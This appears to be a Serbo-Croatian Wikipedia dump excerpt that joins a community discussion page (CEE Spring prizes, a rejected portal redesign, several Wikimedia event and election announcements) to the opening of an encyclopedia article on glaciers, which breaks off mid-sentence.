@[[Korisnik:MHeidarzadeh-CEEhub|MHeidarzadeh-CEEhub]] preko email-korespondencije dobio potvrdu da su zajednici srpskohrvatske Wikipedije obezbijeđena sredstva u iznosu od 400 EUR za dodjelu lokalnih nagrada. Popis suradnika s najboljim rezultatima će po završetku takmičenja biti proslijeđen fiskalnom sponzoru ovogodišnjeg izdanja takmičenja CEE Spring. Uz pristanak obiju strana u okviru ispod dajem uvid na relevantne mail-ove. {{Collapse top|Email korespondencija}} Dear Mohammad, I have consulted my community on-wiki and they support the incentive. Thus, the Serbo-Croatian Wikipedia (shwiki) community would like to request funding support to cover for local prizes – in any amount you deem reasonable. Given the project’s modest editing activity, a smaller allocation is appropriate. I took notice of the [[metawiki:CEE_Women_Campaign_2026/applications/CEE_Women_2026:_Multi-Wiki_Edit-a-thon_&_Training_(HR_+_EN/SH/BS)_with_Wikidata_&_Commons|CEE Women Campaign application]] that aims to cover shwiki. I'll aim to accommodate for the incoming contributions (which I hope there will be) to the best of my capacity. In the future, I'd probably like to have the [[metawiki:Cross-Project_Cooperation_Initiative|Cross-Project Cooperation Initiative]] involved in such endeavors. Thank you so much, on behalf of my community. Best regards, Vipz. <hr> Dear Vipz, Thank you for confirming the community’s support. You have up to 400 EUR available for local prizes. There is no need for a separate application, and you can use this amount to award prizes to your participants. After the contest ends, please share the list of winners with our fiscal sponsor (this year Wikimedia Austria), who will arrange sending the prizes accordingly. Best regards, Mohammad {{Collapse bottom}} Uskoro ću se pozabaviti izradom nužne infrastrukture i predloška za nagrađivanje (''1. veći iznos''; 2. ''malo manji iznos''; itd.), koji ću zainteresiranim korisnicima dati ovdje na uvid prije konačnog usvajanja. – [[Korisnik:Vipz|Vipz]] ([[Razgovor s korisnikom:Vipz|razgovor]]) 2. marta 2026. u 16:47 (CET) == Radionica / Portal Zajednice == {{Zaglavlje rasprave|Prijedlog nije dobio potrebnu potporu i odbačen je.– [[Korisnik:Inokosni organ|Inokosni organ]] ([[Razgovor s korisnikom:Inokosni organ|razgovor]]) 24. marta 2026. u 03:09 (CET)|odbačeno}} Poštovane kolege, želio bih se prihvatiti cjelovitog preuređenja odjeljka [[Wikipedija:Portal zajednice|'''Portal Zajednice''' odnosno '''Radionice''']]. Mislim da je taj odjeljak zanemaren, prepušten samome sebi već godinama, a mogao bi pružiti prostor vrlo korisnim spravama i pomagalima, kako za nove tako i za iskusnije korisnike. Mogu li preuzeti taj pothvat? Imate li kakvih zamisli ili prijedloga? Riječ je o odjeljku koji sam isprva gotovo htio ukloniti, no ako ga promotrimo pozornije, vidjet ćemo da u njemu postoje solidne polazišne točke. Moja je zamisao sačuvati ključne sadržaje koje su kolege utemeljili, te potom sve svesti na najosnovnije, učiniti jasnijim i korisnijim. – [[Korisnik:Inokosni organ|Inokosni organ]] ([[Razgovor s korisnikom:Inokosni organ|razgovor]]) 14. januara 2026. u 16:44 (CET) :Što se mene tiče, nije na odmet... :D Pogotovo za nove korisnike, mogu naučiti dosta! – [[Korisnik:Edgar Allan Poe|<span style="color:var(--color-base); font-family:'Free Style Script';">Edgar A.</span>]] [[Razgovor s korisnikom:Edgar Allan Poe|<span style="color:var(--color-base); font-family:'Free Style Script';">Poe</span>]] 14. januara 2026. u 18:58 (CET) :Jedna od najvažnijih stranica na projektu, a potpuno zapuštena. Vreme je da se to promeni. Podržavam inicijativu. Stranica mora imati responzivan dizajn i ažuran sadržaj. Mora biti korisna kako za novajlije tako i za iskusne urednike i urednice. – [[Korisnik:Aca|Aca]] ([[Razgovor s korisnikom:Aca|razgovor]]) 16. januara 2026. u 00:46 (CET) ::::Nacrt: '''[[Korisnik:Inokosni organ/Radionica|Radionica]]''' (novopredloženi) usp. '''[[Wikipedija:Portal zajednice|Radionica]]''' (sadašnji "stari" oblik) ::::Mislim da je nacrt za novu radionicu dovršen i mogu ga podnijeti na vaš uvid. U donjoj sekciji navedite sve potrebne primjedbe: što nedostaje? Što je suvišno? Sviđa li vam se stil? Sviđaju li vam se boje? Koje bi dijelove teksta trebalo promijeniti? Koje bi tekstualne dijelove trebalo dodati? Što u kodu nije u redu? ::::Raspravu otvaram danas, 6. marta, i namjeravam je voditi dvije sedmice, dakle do 20. marta, nakon čega ćemo pristupiti završnom glasovanju i posljednjim izmjenama. Naravno, ako rasprava postigne suglasje prije 20. marta, možemo je zatvoriti i ranije, na vaš zahtjev. – [[Korisnik:Inokosni organ|Inokosni organ]] ([[Razgovor s korisnikom:Inokosni organ|razgovor]]) 6. marta 2026. u 15:54 (CET) ::::@[[Korisnik:OC Ripper|OC Ripper]], @[[Korisnik:Igor Windsor|Igor Windsor]], @[[Korisnik:Edgar Allan Poe|Edgar Allan Poe]], @[[Korisnik:Aca|Aca]], @[[Korisnik:Mladifilozof|Mladifilozof]], @[[Korisnik:Vipz|Vipz]], @[[Korisnik:Maria Sieglinda von Nudeldorf|Maria Sieglinda von Nudeldorf]], @[[Korisnik:Orijentolog|Orijentolog]], @[[Korisnik:Pokrajac|Pokrajac]], @[[Korisnik:Vitek|Vitek]], @[[Korisnik:Belirac|Belirac]], @[[Korisnik:Duma|Duma]], @[[Korisnik:Akatone|Akatone]], @[[Korisnik:Alekol|Alekol]], @[[Korisnik:Atricapilus|Atricapilus]], @[[Korisnik:Dwina744|Dwina744]], @[[Korisnik:ImStevan|ImStevan]], @[[Korisnik:SrpskiAnonimac|SrpskiAnonimac]], @[[Korisnik:Zavičajac|Zavičajac]], @[[Korisnik:MirkoS18|MirkoS18]], @[[Korisnik:Bakir123|Bakir123]], @[[Korisnik:Argo|Argo]], @[[Korisnik:Deni|Deni]], @[[Korisnik:Ante Vranković|Ante Vranković]], @[[Korisnik:Gliwi|Gliwi]], @[[Korisnik:MrKeefeJohn|MrKeefeJohn]], @[[Korisnik:Savez rada|Savez rada]], @[[Korisnik:Stefanguzvica|Stefanguzvica]], @[[Korisnik:Stephan1000000|Stephan1000000]], @[[Korisnik:Zblace|Zblace]] === Rasprava === {{komentar}} Ovo mi je rešenje baš prenatrpano. :) Mislim da radionica treba da bude dosta čitljivija i da sadrži samo stvari na kojima se trenutno radi ili planira raditi – poslovi u fokusu. Srodni projekti, rast broja članaka, statistika, historija, lista botova, linkovi ka pravilima i smernicama, dugmići, stari uvod radionice – sve to mi je nabacano. Te stvari treba razdvojiti i uklopiti u postojeće stranice. Radionica bi trebala obuhvatati sveže primere članaka za sređivanje i kada se jedan članak sredi, imamo onda sledeći prikazan. Neka vrsta To-Do liste podeljene po težini. Da ima stvari za novajlije, ali i stvari za iskusne urednike. Dakle, kad čovek ode u radionicu, on želi da ima alat i konkretan posao koji treba da obavi. Ovo sad je vrlo teško za snalaženje i čak kompleksnije od postojećeg, neažurnog dizajna radionice. Ipak, dopada mi se plava pozadina kao element dizajna i mislim da se sve treba unificirati i sažeti u jednu ili više plavih pozadinskih okvirića. Dizajn treba imati naveden specifičan problem i konkretne članke te kratko objašenjnje šta je potrebno uraditi i na koji način se najlakše to može uraditi. – [[Korisnik:Aca|Aca]] ([[Razgovor s korisnikom:Aca|razgovor]]) 6. marta 2026. u 16:12 (CET) === Zaključak === Rok od 20. marta je istekao i ne vidim nikakav napredak. Kako nema glasova za, mogu smatrati da je moj prijedlog odbijen, a plan obnove Radionice odgođen na neodređeno vrijeme. – [[Korisnik:Inokosni organ|Inokosni organ]] ([[Razgovor s korisnikom:Inokosni organ|razgovor]]) 24. marta 2026. u 03:09 (CET) {{Podnožje rasprave}} == New Rapid Funds in CEE – global support now closer to your local activities == Hi everyone, '''Starting from 1 April 2026''', the CEE Hub will begin reviewing and supporting Rapid Fund applications for Central and Eastern Europe, in close cooperation with the Wikimedia Foundation. This change is part of our shared effort to bring support closer to communities and make the process more accessible and responsive to local contexts. You will still apply through the same system (Fluxx), and WMF will continue handling contracts and fund transfers. What changes is that the CEE Hub becomes your first point of contact, offering guidance, reviewing applications, and staying closer to your ideas throughout the process. We encourage you to reach out to [[:m:User:TRistovski-CEEhub|Toni]], our Grants Specialist before applying. A short conversation can help clarify your idea and make things smoother from the start. * ☝️ Rapid Funds remain open year-round (with possible delays in June and December). * ☝️ For Central Asian communities: the process stays the same – you continue applying directly through WMF. Join our online Q&A session to learn more (same content, two options to join): * 2 April, 5:00 PM CEST (UTC +2; [[:m:Event:CEE Hub Rapid Fund Q&A Nr. 1|register here]]) * 8 April 7:00 PM CEST (UTC +2; [[:m:Event:CEE Hub Rapid Fund Q&A Nr. 2|register here]]) More info & contact: '''[[:m:CEE Hub Rapid Funds|Wikimedia CEE Hub/Rapid Grants]]''' --[[Korisnik:MediaWiki message delivery|MediaWiki message delivery]] ([[Razgovor s korisnikom:MediaWiki message delivery|razgovor]]) 31. marta 2026. u 13:21 (CEST) <!-- Pošiljalac poruke: Korisnik:TRistovski-CEEhub@metawiki; spisak primalaca: https://meta.wikimedia.org/w/index.php?title=Global_message_delivery/Targets/CEE_Hub&oldid=29670168 --> == Join the sixth Ukraine’s Cultural Diplomacy Month on Wikipedia! == <div lang="en" dir="ltr"> [[File:Ukraine’s Cultural Diplomacy Month on Wikipedia 2026.png|right|250px|thumb|link=https://meta.wikimedia.org/wiki/Ukraine%27s_Cultural_Diplomacy_Month_2026|Join our campaign!]] {{int:please-translate}} Dear Wikipedians! [[:m:Special:MyLanguage/Wikimedia Ukraine|Wikimedia Ukraine]], in cooperation with the [[:en:Ministry of Foreign Affairs of Ukraine|MFA of Ukraine]] and [[:en:Ukrainian Institute|Ukrainian Institute]], has launched the sixth edition of writing challenge "'''[[:m:Special:MyLanguage/Ukraine's Cultural Diplomacy Month 2026|Ukraine's Cultural Diplomacy Month]]'''", which lasts from '''1st April''' until '''30th April 2026'''. The initiative aims to promote knowledge about Ukrainian culture abroad by creating and improving Wikipedia articles in multiple languages. This year marks the sixth edition of the campaign, which will focus on contemporary culture, making today’s artistic voices and practices more visible to international audiences. 🧩'''How to participate?''' Choose an article from the suggested list → Write an article in your language, or improve an existing one according to the rules → Add your contribution to the contest page and calculate your points → Win prizes and receive a certificate of participation → Become a promoter of truthful knowledge about Ukraine. 🧩'''[[m:Special:MyLanguage/Ukraine's Cultural Diplomacy Month 2026|Check our main page for more information]]'''. '''If you are interested in coordinating long-term community engagement for the campaign and becoming a local ambassador, we would love to hear from you! Please let us know your interest.''' If not, then we encourage you to translate the [[m:Special:MyLanguage/Ukraine's Cultural Diplomacy Month 2026|landing page of the contest]] and [https://meta.wikimedia.org/wiki/Special:MessageGroupStats?group=Centralnotice-tgroup-UCDM2026banner&messages=&language=en&x=D banner] into your own language. Also, we set up a [[:m:CentralNotice/Request/Ukraine's Cultural Diplomacy Month 2026|banner]] to notify users of the possibility to participate in this challenge! [[:m:User:OlesiaLukaniuk (WMUA)|OlesiaLukaniuk (WMUA)]] ([[:m:User talk:OlesiaLukaniuk (WMUA)|talk]]) 04:35, 1 April 2026 (UTC) </div> <!-- Pošiljalac poruke: Korisnik:OlesiaLukaniuk (WMUA)@metawiki; spisak primalaca: https://meta.wikimedia.org/w/index.php?title=User:OlesiaLukaniuk_(WMUA)/list_of_wikis&oldid=28552112 --> == CEE Newsletter is out now! == Dear all, The first CEE Newsletter issue of 2026 is now live, and we are happy to share it with you. The past few months have been anything but quiet across our region. From Wikimedia CEE Spring and the CEE Women Campaign, to cross-border collaborations, youth initiatives, and new ideas taking shape, there is a lot happening -- and this issue brings together many of those stories in one place. You will find highlights from community activities, updates from the CEE Hub, international news, and a wide range of contributions from across the region. It is a good snapshot of what we have been working on together at the start of the year. As always, thank you to everyone who contributed -- by writing, sharing updates, or supporting behind the scenes. Take a moment to explore the issue and see what is going on across the region: https://meta.wikimedia.org/wiki/CEE/Newsletter/March_2026 As always, we have prepared a Russian version of the same issue: https://meta.wikimedia.org/wiki/CEE/Newsletter/March_2026/ru Happy reading! On behalf of the CEE Newsletter team, Karo <!-- Pošiljalac poruke: Korisnik:KGruszczyk-CEEhub@metawiki; spisak primalaca: https://meta.wikimedia.org/w/index.php?title=Global_message_delivery/Targets/CEE&oldid=30270755 --> == Request for comment (global AI policy) == <bdi lang="en" dir="ltr" class="mw-content-ltr"> Apologies for writing in English. {{int:Please-translate}} A [[:m:Requests for comment/Artificial intelligence policy|request for comment]] is currently being held to decide on a global AI policy. {{int:Feedback-thanks-title}} [[Korisnik:MediaWiki message delivery|MediaWiki message delivery]] ([[Razgovor s korisnikom:MediaWiki message delivery|razgovor]]) 26. aprila 2026. u 02:58 (CEST) </bdi> <!-- Pošiljalac poruke: Korisnik:Codename Noreste@metawiki; spisak primalaca: https://meta.wikimedia.org/w/index.php?title=Distribution_list/Global_message_delivery&oldid=30424282 --> == Call for Community Candidates – Wikimedia CEE Hub Steering Committee Election 2026 == ''Please help us and your community by translating this announcement into your language!'' Dear all, The [[Meta:Wikimedia CEE Hub Steering Committee Election 2026]] is currently underway. There are 4 seats allocated to community representatives. Community members are invited to nominate themselves as candidates for these seats. These positions will be filled through a vote by the CEE community. '''Eligibility criteria:''' * Candidates must be [[Meta:Wikimedia CEE Hub Steering Committee Election 2026/Eligibility|eligible voters]]: ** Have a Wikimedia account created before 18 December 2025 ** Have at least 300 edits between 18 December 2025 and 18 June 2026 ** Must not have been blocked between 18 March 2026 and 18 June 2026 * Must have participated in at least 2 of the last 3 [[Meta:Wikimedia CEE Hub/CEE Hub Status Meeting|CEE Hub Advisory Group meetings]] You can check your eligibility using the following tool: https://cee-sc-election.toolforge.org/ '''How to proceed:''' Candidates may nominate themselves or be nominated by others. If nominated by others, the candidate must explicitly accept the nomination before 18 June 2026. The candidate should create their nomination page and submit their candidacy [[Meta:Wikimedia_CEE_Hub_Steering_Committee_Election_2026/Nominations|here]]: Please also inform your communities about the election and encourage participation. Best regards,   Electoral Commission of Wikimedia CEE Hub Steering Committee Election 2026 --[[Meta:Korisnik:MediaWiki message delivery|MediaWiki message delivery]] ([[Meta:Razgovor s korisnikom:MediaWiki message delivery|razgovor]]) 30. aprila 2026. u 12:00 (CEST) <!-- Pošiljalac poruke: Korisnik:MHeidarzadeh-CEEhub@metawiki; spisak primalaca: https://meta.wikimedia.org/w/index.php?title=Global_message_delivery/Targets/CEE_Hub&oldid=30401522 --> == Invitation: Call for Delegates Nominations and registration for Wikimedia CEE Meeting 2026 in Cluj-Napoca == Dear Serbo-Croatian language community, On behalf of the Wikimedians of Romania and Moldova User Group, we are thrilled to invite you to the [[:m:Wikimedia_CEE_Meeting_2026/Registration|Wikimedia CEE Meeting 2026]]! This year, our regional gathering will take place in the heart of Transylvania, in the vibrant city of Cluj-Napoca, Romania. <span style="font-family:monospace,monospace">'''Dates: 18–20 September 2026. Location: Cluj-Napoca, Romania'''</span> === Call for Delegate Nominations === We are now officially opening the call for affiliates to nominate their delegates. Each affiliate is encouraged to select representatives who will actively contribute to the sessions, share local successes, and help strengthen our regional network. It is crucial to check the '''[[:m:Wikimedia CEE Meeting 2026/Eligible affiliates|eligibility subpage]]''' to see the number of delegates allocated to your community. This number tells you how many delegate scholarships are reserved for your community. <span style="font-family:monospace,monospace">'''Nomination Deadline: 30 May 2026'''</span> Please ensure that your nominations are submitted by this date to allow our organizing team enough time to manage travel logistics and visa support where necessary. === Registration process === Delegates, scholarship recipients, and all self-funded attendees can register using the Registration Form (given below). It is mandatory for each delegate application to contain a link to the documents supporting the respective nomination as delegate. All travel, accommodation, and food expenses (during the conference days) will be organized and covered by Wikimedians of Romania and Moldova User Group only for delegates and scholarship recipients. Registration is required for everyone to participate in the Wikimedia CEE Meeting. <p style="font-family:monospace,monospace;background-color:#bbb">'''Registration Form is here: [https://docs.google.com/forms/d/e/1FAIpQLSdrSQ3JZCGa21AInWOCXnNjzhUZLV1n7LcSt8-0pd1L0Z4rMw/viewform Apply]'''</p> * '''Registration period for representatives of Wikimedia affiliations: <u>13 May 2026, 00:00 (UTC) — 30 May 2026, 23:59 (UTC)</u>.''' * Registration period for self-funded participants and for everyone else: 13 May 2026, 00:00 (UTC) — 30 June 2026, 23:59 (UTC). For any questions or unclear issues, please reach out to us at our official conference email: <p style="font-family:monospace,monospace">'''wmceem2026[[File:At sign.svg|17px|link=|@|class=skin-invert]]icf-fri.org'''</p> We look forward to welcoming you to Cluj-Napoca this September to share knowledge, foster new ideas, and celebrate our collective achievements. Warm regards,<br/>Wikimedia CEE Meeting 2026 Organizing Team<br/>Wikimedians of Romania and Moldova User Group<br/> – [[Korisnik:Gikü|Gikü]] ([[Razgovor s korisnikom:Gikü|razgovor]]) 13. maja 2026. u 22:54 (CEST) :@[[Korisnik:Vipz|Vipz]], @[[Korisnik:Edgar Allan Poe|Edgar Allan Poe]], @[[Korisnik:Deni|Deni]] Ne(t)ko zainteresiran? – [[Korisnik:Aca|Aca]] ([[Razgovor s korisnikom:Aca|razgovor]]) 14. maja 2026. u 10:59 (CEST) ::Hmmmm. Razmislim. @[[Korisnik:Vipz|Vipz]], @[[Korisnik:Edgar Allan Poe|Edgar]]? – [[Korisnik:Deni|Deni]] ([[Razgovor s korisnikom:Deni|razgovor]]) 14. maja 2026. u 14:22 (CEST) :::@[[Korisnik:Aca|Aca]], @[[Korisnik:Deni|Deni]], imate moju podršku da nas predstavljate na CEE Meetingu, kao i uvijek. Ako se za to odlučite, volio bih da raspravimo kako nas se planira predstavljati i da dogovorimo kakve su teme zapravo važne za ovu zajednicu. – [[Korisnik:Vipz|Vipz]] ([[Razgovor s korisnikom:Vipz|razgovor]]) 15. maja 2026. u 01:26 (CEST) ::::Samo jedan kandidat je iz naše zajednice. – [[Korisnik:Aca|Aca]] ([[Razgovor s korisnikom:Aca|razgovor]]) 15. maja 2026. u 02:57 (CEST) ::::Ja sam tebe i Edgara pingovao da i vi razmislite želi li jedan od vas da ode da nas predstavi. Bilo bi dobro :) – [[Korisnik:Deni|Deni]] ([[Razgovor s korisnikom:Deni|razgovor]]) 16. maja 2026. u 14:32 (CEST) == Wiki Loves Eurovision 2026 == <div lang="en" dir="ltr"> [[File:Wiki Loves Eurovision edit-a-thon logo 2026.svg|right|250px]] Hello everyone! You are invited to participate in the "[[meta:Wiki Loves Eurovision 2026|Wiki Loves Eurovision]]" article writing contest, where our goal is to create new Eurovision-related articles in the CEE-language Wikipedia editions and improve existing ones. The contest will take place from May 10 to June 10, 2026, and prizes are available: * 1st prize: a voucher worth €60 * 2nd prize: a voucher worth €50 * 3rd prize: a voucher worth €40 * 4th–10th prize: a voucher worth €30 To participate in the contest and learn more, please visit [[meta:Wiki Loves Eurovision 2026|this link]]. --[[User:MHeidarzadeh-CEEhub|MHeidarzadeh-CEEhub]] ([[User talk:MHeidarzadeh-CEEhub|talk]]) 14:00, 16 May 2026 (UTC) </div> <!-- Pošiljalac poruke: Korisnik:MHeidarzadeh-CEEhub@metawiki; spisak primalaca: https://meta.wikimedia.org/w/index.php?title=Global_message_delivery/Targets/CEE&oldid=30513878 --> == <span lang="en" dir="ltr">Vote now in the 2026 U4C election</span> == <div lang="en" dir="ltr"> <section begin="announcement-content" /> Eligible voters are asked to participate in the 2026 [[m:Special:MyLanguage/Universal_Code_of_Conduct/Coordinating_Committee|Universal Code of Conduct Coordinating Committee]] election. More information–including an eligibility check, voting process information, candidate information, and a link to the vote–are available on Meta at the [[m:Special:MyLanguage/Universal_Code_of_Conduct/Coordinating_Committee/Election/2026|2026 Election information page]]. The vote closes on 2 June 2026 at [https://zonestamp.toolforge.org/1780358400 00:00 UTC]. Please vote if your account is eligible. Results will be available by 14 June 2026. -- In cooperation with the U4C,<section end="announcement-content" /> </div> [[m:User:Keegan (WMF)|Keegan (WMF)]] ([[m:User talk:Keegan (WMF)|talk]]) 27. maja 2026. u 19:14 (CEST) <!-- Pošiljalac poruke: Korisnik:Keegan (WMF)@metawiki; spisak primalaca: https://meta.wikimedia.org/w/index.php?title=Distribution_list/Global_message_delivery&oldid=30513860 --> l22ttacmz37r22mbhdzhozha8udsswo 0 11491 42602638 42511145 2026-05-28T01:04:51Z InternetArchiveBot 155863 Rescuing 1 sources and tagging 0 as dead.) #IABot (v2.0.9.5 42602638 wikitext text/x-wiki [[Datoteka:Aletschgletscher Panorama.jpg|thumb|right|450px|Panorama ledenjaka Aletch u [[Švicarska|Švicarskoj]] ]] '''Ledenjak''' ili '''glečer''' je pokretna [[led]]ena masa, koja nastaje od debelih naslaga [[snijeg]]a pod utjecajem tlaka gornjih ledenih slojeva. Najprije se formira fin (zrnati) led, a zatim pravi ledenjački led. Zbog laganog kretanja prema dolini ledenjak razara podlogu po kojoj se kreće i tako oblikuje ledenjačku dolinu i akumulira [[morena|morenski]] materijal. Kada težina nagomilanog [[led]]a izazove pritisak u donjim dijelovima ledenjaka dolazi do topljenja leda na samom dnu, i cjelokupna masa ledenjaka počinje se pomjerati preko otopljenog dijela, klizeći prema podnožju padine. Na svom putu, masa leda drobi sve pred sobom i potiskuje komade odlomljenih [[stijena]], ostavljajući za sobom udubljenje u tlu u obliku oluka ili slova U. Ovakvo udubljenje se naziva [[cirk]]. Po svom razornom utjecaju na tlo, ledenjak se smatra najvećom [[erozija|erozijskom]] silom prirode. Jedna od najpoznatijih glacijalnih dolina je '''Dolina Yosemite''', koja je danas centralni dio [[Yosemite (nacionalni park)|Nacionalnog parka Yosemite]] u [[Kalifornija|Kaliforniji]]. == Općenito == [[Glaciologija]] je znanost o ledenjacima ili općenitije znanost o ledu i prirodnim pojavama vezanima za led. Riječ glečer dolazi iz [[Latinski jezik|latinskog]] ''glacies'' što označava led ili mraz. Ledenjaci su važan dio kriosfere, a to je pojam koji opisuje sva područja na Zemlji, gdje je voda pretvorena u kruti oblik, uključujući osim ledenjaka i morski led, jezerski led, sniježni pokrivač, ledeni pokrivač, smrznutu zemlju ([[permafrost]]). Na [[Zemlja (planet)|Zemlji]], 99 % leda iz ledenjaka se nalazi u ledenom pokrivaču u [[Polarna regija|polarnim regijama]], ali se ledenjaci mogu naći i na svakom [[kontinent]]u, osim [[Australija|Australije]]. U [[tropi]]ma se ledenjaci mogu naći samo na najvišim planinama.<ref>Post Austin, LaChapelle Edward R.: "Glacier ice" 2000.</ref> [[Grenland]] i [[Antarktik]] se nazivaju [[kontinent]]alnim ledenjacima jer se led na njima stalno kreće, i to od središta k rubovima – obalama kontinenta. Tamo se, dolazeći u kontakt sa [[voda|vodom]], ledenjaci otapaju ili se s njih odlamaju veći ili manji komadi leda – ledeni brijegovi, koji se kreću vodenim prostranstvima. Najpoznatiji, ali ne i najveći, jeste ledeni brijeg koji je udario u brod [[RMS Titanic|Titanic]] i potopio ga [[14. april]]a [[1912.]] godine. Na [[Grenland]]u se nalazi i najbrži ledenjak na svijetu. Ledenjaci su najveći spremnici [[Slatka voda|slatke vode]] na Zemlji. Mnogi ledenjaci skupljaju vodu za vrijeme hladne sezone, a u toploj sezoni otpuštaju vodu, koja je vrlo važna za ljude u tim krajevima, životinje i biljke. Ledenjaci se smatraju među najosjetljivijim pokazateljima [[promjena klime|klimatskih promjena]] i [[Globalno zatopljenje|globalnog zatopljenja]]. Njihova veličina se određuje ravnotežom masa između ulaza snijega i izlaza otopljenog leda. [[Datoteka:155 - Glacier Perito Moreno - Panorama de la partie nord - Janvier 2010.jpg|center|thumb|900px|Ledenjak.]] == Karakteristike == [[Datoteka:Grosser Aletschgletscher 3178.JPG|mini|300px| Ledenjak Aletsch, [[Švicarska]]]] [[Datoteka:Baltoro glacier from air.jpg|mini|desno|300px|Ledenjak Baltoro u [[Karakorum]]u, [[Pakistan]]. Dug je 62 km, i jedan je od najdužih alpskih ledenjaka]] Kamenje i ostali naplavni materijal koji ledenjak pokupi putem, pretvaraju se u veliku strugalicu koja dubi stijene u [[dolina]]ma i odnosi sve pred sobom ostavljajući karakteristični oblik slova U. Ledenjaci koji na svom putu putuju prema [[more|moru]] na taj način stvaraju [[fjord]]ove, duboke, dugačke i uske rukavce. Tijekom posljednjeg [[ledeno doba|ledenog doba]], koje je završilo prije desetak tisuća [[godina]], područja sjeverne [[Evropa|Europe]], sjeverne [[Eurazija|Euroazije]] i velikim djelom [[Severna Amerika|Sjeverne Amerike]] su bila duboko zakopana pod velikim ledenim pločama, od koji su neke bile debele čak do jednog [[kilometar|kilometra]]. Upravo na tim područjima danas su najuočljiviji tragovi djelovanja ledenjaka kroz [[historija|povijest]]. == Vrste ledenjaka == Ledenjaci se mogu ravrstati na mnogo načina, ovisno o obliku, toplinskim svojstvima ili ponašanju. '''Alpski ledenjaci''' ili '''planinski ledenjaci''' oblikuju vrhove i padine [[planina]]. Veći ledenjaci mogu pokriti cijeli planinski lanac ili [[vulkan]], pa ih zovemo '''ledena kapa''' ili '''ledeno polje''', kao što je ledenjak Juneau Icefield. Ledene kape imaju svoje odvode ledenjaka, jezik leda koji se spušta sve do doline, daleko od glavne ledene gomile. '''Ledeni pokrivači''' ili '''kontinentalni ledenjaci''', pokrivaju više od 50 000&nbsp;km². Na nekim mjestima mogu biti duboki i nekoliko kilometara. Ledeni pokrivači se nalaze na Antartici i Grenlandu. Ta područja sadrže ogromnu količinu slatke vode. Kada bi se sav [[led]] sa [[Grenland]]a otopio, razina mora bi porasla za 6 metara. Kada bi se sav led sa [[Antarktik]]a otopio, razina mora bi porasla za 65 metara.<ref>[http://pubs.usgs.gov/fs/fs2-00] "Sea Level and Climate" 2000.</ref>'''Ledene police''' su područja plutajućeg leda, obično na granicama ledenog pokrivača. Oni su nešto manji, imaju vrlo mali nagib i kreću se vrlo sporo. '''Ledene rijeke''' se kreću velikim brzinama. Mogu biti duge i nekoliko stotina kilometara. Obično ledene rijeke završavaju kao ledene police. '''Plimni ledenjaci''' su ledenjaci koji završavaju u moru. Kada stignu do mora, komadi ledenjaka se lome, stvarajući ledene sante. Većina plimnih ledenjaka se lome iznad razina mora, što stvara strahovita prskanja prilikom pada u more. Ova vrsta ledenjaka je manje osjetljiva na klimatske promjene. [[Datoteka:Glacier mouth.jpg|mini|desno|300px|Ledenjak Schlatenkees kod Innergschlößa, [[Austrija]]]] == Oblikovanje == Ledenjaci se stvaraju kada je prikupljanje snijega veće od njegovog odnošenja i topljenja. Kako je količina leda sve veća, dolazi do točke gdje se počinje kretati, zbog kombinacije nagiba podloge, težine i [[tlak]]a snijega i leda na podlogu. Na strmim podlogama to se može dogoditi i sa 15 metara debljinom. Snijeg koji stvara umjereni ledenjak, podložan je ponavljanju topljenja i zaleđivanja, što dovodi do stvaranja velikih granula. U dubljem dijelu ledenjaka, te granule se pod pritiskom pretvaraju u led. Ledenjak ima nešto manju gustoću od samog leda, jer i slojevi zraka su uhvaćeni unutar ledenjaka, tako da se u ledu mogu vidjeti mjehurići [[vazduh|zraka]]. Plava boja ledenjaka dolazi od slične pojave kao i kod plave boje mora. Kod [[molekula]] vode dolazi do laganog upijanja crvenog dijela [[spektar|spektra]] svjetlosti, zbog OH dijela molekule koji strši.<ref>[http://webexhibits.org/causesofcolor/5C.html] {{Webarchive|url=https://web.archive.org/web/20110903115420/http://www.webexhibits.org/causesofcolor/5C.html |date=2011-09-03 }} "What causes the blue color that sometimes appears in snow and ice?"</ref> == Anatomija ledenjaka == Dio od kojeg ledenjaka potječe se naziva '''glava ledenjaka'''. On završava sa '''podnožjem''' ili '''završetkom ledenjaka'''. Ledenjaci su podijeljeni u područja, ovisno gdje se snijeg taloži i dijela gdje se topi. '''Ravnotežna linija''' dijeli ledenjak na '''područje gomilanja''' i '''područje odnošenja'''. '''Područje suhog snijega''' je dio gdje se ne javlja topljenje, čak i za najtoplijeg vremena. '''Područje cijeđenja''' je dio gdje se ledenjak topi. '''Područje mokrog snijega''' je dio koji dostiže 0&nbsp;°C.<ref>Benson, C.S., 1961, "Stratigraphic studies in the snow and firn of the Greenland Ice Sheet"</ref> [[Datoteka:Fjordsglacier.jpg|mini|desno|300px|Pogled s broda na plimni ledenjak Kenai Fjords National Park, [[Aljaska]]]] Područje gomilanja obično sadrži for 60-70% ledenjaka. Dubina leda u području gomilanja stvara tlak na podlogu, dovoljno da izazove [[erozija|eroziju]] zemljišta. Nakon što ledenjak nestane, nastaju ljevkasti oblici poput amfiteatra ([[Geologija|geološki]] – izostatičke depresije), kao što su nastala [[Velika jezera]] ili mali planinski bazeni, koji se nazivaju [[cirk]]. “Zdravlje” ledenjaka se obično utvrđuje sa određivanjem ravnoteže ledenjačke mase. “Zdravi” ledenjak obično treba imati više od 60% područja gomilanja, nakon završetka sezone topljenja. Nakon završetka [[Malo ledeno doba|Malog ledenog doba]] oko 1850., ledenjaci na Zemlji su se znatno povukli. Mali period hlađenja, od 1950. do 1985., dovelo je do povećanja alpskih ledenjaka. Od 1985. do danas, povlačenje ledenjaka je sve prisutno u svijetu.<ref>[http://www.grid.unep.ch/activities/global_change/switzerland.php] {{Webarchive|url=https://web.archive.org/web/20120925064555/http://www.grid.unep.ch/activities/global_change/switzerland.php |date=2012-09-25 }} "Glacier change and related hazards in Switzerland" 2009.</ref><ref>[http://folk.uio.no/kaeaeb/publications/grl04_paul.pdf] {{Webarchive|url=https://web.archive.org/web/20120119105929/http://folk.uio.no/kaeaeb/publications/grl04_paul.pdf |date=2012-01-19 }} Frank Paul, 2004., ''Rapid disintegration of Alpine glaciers observed with satellite data''</ref><ref>[http://www.nichols.edu/departments/Glacier/glacier_retreat.htm] {{Webarchive|url=https://web.archive.org/web/20171012120203/http://www.nichols.edu/departments/glacier/glacier_retreat.htm |date=2017-10-12 }} ''Recent Global Glacier Retreat Overview''</ref> == Kretanje == Ledenjaci se kreću, ili teku, zbog sila [[Gravitacija|gravitacije]] i unutrašnjih deformacija leda. Led se ponaša kao kruta tvar, koja se lako lomi, sve dok ne dostigne debljinu od 50 metara. Sa većom debljinom, javlja se veći [[tlak]] na led i dolazi do plastičnog tečenja. Na molekularnom nivou, led se sastoji od nabijenih slojeva molekula, sa dosta slabom vezom između slojeva. Kada naprezanja 